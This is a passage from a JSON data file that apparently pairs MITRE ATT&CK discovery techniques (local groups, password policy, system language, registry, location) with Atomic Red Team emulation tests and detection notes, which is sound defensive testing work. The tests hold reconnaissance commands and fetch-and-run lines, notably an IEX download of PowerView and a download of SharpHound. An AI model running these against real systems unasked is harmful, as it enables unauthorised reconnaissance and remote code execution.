- "source_name": "mitre-attack",
- "external_id": "T1069.001",
- "url": "https://attack.mitre.org/techniques/T1069/001"
- }
- ],
- "modified": "2020-03-26T17:48:27.871Z",
- "name": "Permission Groups Discovery: Local Groups",
- "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup
of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups
on macOS, and groups
on Linux can list local groups.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1069.001"
- },
- "atomic_tests": [
- {
- "name": "Basic Permission Groups Discovery Windows (Local)",
- "auto_generated_guid": "1f454dd6-e134-44df-bebb-67de70fb6cd8",
- "description": "Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net localgroup\nnet localgroup \"Administrators\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Permission Groups Discovery PowerShell (Local)",
- "auto_generated_guid": "a580462d-2c19-4bc7-8b9a-57a41b7d3ba4",
- "description": "Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "get-localgroup\nGet-LocalGroupMember -Name \"Administrators\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "SharpHound3 - LocalAdmin",
- "auto_generated_guid": "e03ada14-0980-4107-aff1-7783b2b59bb1",
- "description": "This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "FQDN of the targeted domain",
- "type": "string",
- "default": "$env:UserDnsDomain"
- },
- "sharphound_path": {
- "description": "SharpHound Windows executable",
- "type": "path",
- "default": "$env:TEMP\\SharpHound.exe"
- },
- "output_path": {
- "description": "Output for SharpHound",
- "type": "path",
- "default": "$env:TEMP\\SharpHound\\"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "SharpHound binary must exist on disk and at specified location (#{sharphound_path}).\nAnd the computer must be domain joined (implicit authentication).\n",
- "prereq_command": "if (Test-Path \"#{sharphound_path}\") { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true\" -OutFile \"#{sharphound_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "New-Item -Path \"#{output_path}\" -ItemType Directory > $null\n& \"#{sharphound_path}\" -d \"#{domain}\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"#{output_path}\"\n",
- "cleanup_command": "Remove-Item -Recurse #{output_path} -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Wmic Group Discovery",
- "auto_generated_guid": "7413be50-be8e-430f-ad4d-07bf197884b2",
- "description": "Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic.exe group get name\n",
- "name": "powershell"
- }
- },
- {
- "name": "WMIObject Group Discovery",
- "auto_generated_guid": "69119e58-96db-4110-ad27-954e48f3bb13",
- "description": "Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-WMIObject Win32_Group\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1201": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "IaaS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Regina Elwell",
- "Sudhanshu Chauhan, @Sudhanshu_C",
- "Isif Ibrahima, Mandiant",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1201",
- "url": "https://attack.mitre.org/techniques/T1201"
- },
- {
- "source_name": "AWS GetPasswordPolicy",
- "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html",
- "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021."
- },
- {
- "source_name": "Jamf User Password Policies",
- "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines",
- "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018."
- },
- {
- "source_name": "Superuser Linux Password Policies",
- "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
- "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain)
, Get-ADDefaultDomainPasswordPolicy
, chage -l
, cat /etc/pam.d/common-password
, and pwpolicy getaccountpolicies
(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy
in AWS (Citation: AWS GetPasswordPolicy).",
- "modified": "2022-04-20T18:12:44.708Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Password Policy Discovery",
- "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "User Account: User Account Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1201"
- },
- "atomic_tests": [
- {
- "name": "Examine local password policy - Windows",
- "auto_generated_guid": "4588d243-f24e-4549-b2e3-e627acc089f6",
- "description": "Lists the local password policy to console on Windows.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net accounts\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Examine domain password policy - Windows",
- "auto_generated_guid": "46c2c362-2679-4ef5-aec9-0e958e135be4",
- "description": "Lists the domain password policy to console on Windows.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net accounts /domain\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Get-DomainPolicy with PowerView",
- "auto_generated_guid": "3177f4da-3d4b-4592-8bdc-aa23d0b2e843",
- "description": "Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy",
- "auto_generated_guid": "b2698b33-984c-4a1c-93bb-e4ba72a0babb",
- "description": "The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.\nUpon successful execution a listing of the policy implemented will display.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "get-addefaultdomainpasswordpolicy\n"
- }
- },
- {
- "name": "Use of SecEdit.exe to export the local security policy (including the password policy)",
- "auto_generated_guid": "510cc97f-56ac-4cd3-a198-d3218c23d889",
- "description": "SecEdit.exe can be used to export the current local security policy applied to a host.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1614.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Harshal Tupsamudre, Qualys"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
- "type": "attack-pattern",
- "created": "2021-08-18T14:06:45.244Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1614.001",
- "url": "https://attack.mitre.org/techniques/T1614/001"
- },
- {
- "source_name": "Malware System Language Check",
- "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/",
- "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021."
- },
- {
- "source_name": "CrowdStrike Ryuk January 2019",
- "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
- "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
- },
- {
- "source_name": "Darkside Ransomware Cybereason",
- "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware",
- "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021."
- },
- {
- "source_name": "Securelist JSWorm",
- "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/",
- "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021."
- },
- {
- "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018",
- "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
- "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
- }
- ],
- "modified": "2021-10-15T22:00:56.174Z",
- "name": "System Location Discovery: System Language Discovery",
- "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language
or parsing the outputs of Windows API functions GetUserDefaultUILanguage
, GetSystemDefaultUILanguage
, GetKeyboardLayoutList
and GetUserDefaultLangID
.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale
to retrieve the value of the $LANG
environment variable.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Access",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1614.001"
- },
- "atomic_tests": [
- {
- "name": "Discover System Language by Registry Query",
- "auto_generated_guid": "631d4cf1-42c9-4209-8fe9-6bd4de9421be",
- "description": "Identify System language by querying the registry on an endpoint. \n\nUpon successful execution, result in number format can be looked up to correlate the language.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Discover System Language with chcp",
- "auto_generated_guid": "d91473ca-944e-477a-b484-0e80217cd789",
- "description": "Identify System language with the chcp command.\n\nUpon successful execution, result in number format can be looked up to correlate the language.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "chcp\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:25.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1012",
- "url": "https://attack.mitre.org/techniques/T1012"
- },
- {
- "external_id": "CAPEC-647",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/647.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Windows_Registry",
- "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.",
- "source_name": "Wikipedia Windows Registry"
- }
- ],
- "modified": "2020-03-26T18:08:20.049Z",
- "name": "Query Registry",
- "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1012"
- },
- "atomic_tests": [
- {
- "name": "Query Registry",
- "auto_generated_guid": "8f7578c4-9863-4d83-875c-a565573bbdf0",
- "description": "Query Windows Registry.\nUpon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS).\nReferences:\nhttps://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order\nhttps://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services\nhttp://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf\nhttps://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nreg query \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKLM\\system\\currentcontrolset\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\.sys$\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Query Registry with Powershell cmdlets",
- "auto_generated_guid": "0434d081-bb32-42ce-bcbb-3548e4f2628f",
- "description": "Query Windows Registry with Powershell cmdlets, i.e., Get-Item and Get-ChildItem. The results from above can also be achieved with Get-Item and Get-ChildItem.\nUnlike using \"reg query\" which then executes reg.exe, using cmdlets won't generate new processes, which may evade detection systems monitoring process generation. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Enumerate COM Objects in Registry with Powershell",
- "auto_generated_guid": "0d80d088-a84c-4353-af1a-fc8b439f1564",
- "description": "This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.\nAn adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "File to output list of COM objects to",
- "type": "string",
- "default": "$env:temp\\T1592.002Test1.txt"
- }
- },
- "executor": {
- "command": "New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR\nGet-ChildItem -Path HKCR:\\CLSID -Name | Select -Skip 1 > $env:temp\\clsids.txt\nForEach($CLSID in Get-Content \"$env:temp\\clsids.txt\")\n{try{write-output \"$($Position)-$($CLSID)\"\nwrite-output \"------------\"| out-file #{output_file} -append\nwrite-output $($CLSID)| out-file #{output_file} -append\n$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))\n$handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append\n$position += 1} catch{}}\n",
- "cleanup_command": "remove-item #{output_file} -force -erroraction silentlycontinue\nremove-item $env:temp\\clsids.txt -force -erroraction silentlycontinue \n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1614": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pooja Natarajan, NEC Corporation India",
- "Hiroki Nagahama, NEC Corporation",
- "Manikantan Srinivasan, NEC Corporation India",
- "Wes Hurd",
- "Katie Nickels, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
- "type": "attack-pattern",
- "created": "2021-04-01T16:42:08.735Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1614",
- "url": "https://attack.mitre.org/techniques/T1614"
- },
- {
- "source_name": "FBI Ragnar Locker 2020",
- "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf",
- "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021."
- },
- {
- "source_name": "Sophos Geolocation 2016",
- "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/",
- "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021."
- },
- {
- "source_name": "Bleepingcomputer RAT malware 2020",
- "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/",
- "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021."
- },
- {
- "source_name": "AWS Instance Identity Documents",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html",
- "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021."
- },
- {
- "source_name": "Microsoft Azure Instance Metadata 2021",
- "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows",
- "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021."
- },
- {
- "source_name": "Securelist Trasparent Tribe 2020",
- "url": "https://securelist.com/transparent-tribe-part-1/98127/",
- "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021."
- }
- ],
- "modified": "2021-10-15T22:00:56.438Z",
- "name": "System Location Discovery",
- "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW
can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW
to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Metadata",
- "Process: OS API Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1518.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Isif Ibrahima, Mandiant"
- ],
